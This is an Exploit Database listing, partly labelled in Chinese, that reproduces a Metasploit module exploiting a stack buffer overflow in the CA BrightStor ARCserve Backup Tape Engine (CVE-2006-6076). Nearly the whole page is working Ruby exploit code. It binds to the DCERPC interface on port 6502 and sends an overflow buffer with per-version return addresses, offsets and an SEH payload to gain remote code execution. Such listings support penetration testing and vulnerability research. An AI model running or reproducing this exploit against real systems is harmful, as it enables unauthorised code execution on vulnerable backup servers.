CA BrightStor ARCserve – Tape Engine Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16407/

• ##
  # $Id: tape_engine.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
  				r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
  				the buffer and execute arbitrary code.
  			},
  			'Author' => [ 'MC', 'patrick' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-6076' ],
  					[ 'OSVDB', '30637' ],
  					[ 'BID', '21221' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/3086' ],
  					[ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
  					'StackAdjustment' => -9500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  					[
  						[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004
  						[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????
  					],
  			'DisclosureDate' => 'Nov 21 2006',
  			'DefaultTarget'=> 1))
  
  		register_options([ Opt::RPORT(6502) ], self.class)
  	end
  
  	def exploit
  		connect
  
  		handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  		print_status("Binding to #{handle} ...")
  
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		request ="\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
  		request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  
  		dcerpc.call(43, request)
  
  		filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])
  		seh= generate_seh_payload(target.ret)
  		sploit = filler + seh
  
  		print_status("Trying target #{target.name}...")
  
  			begin
  				dcerpc_call(38, sploit)
  				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  			end
  
  		handler
  		disconnect
  	end
  
  end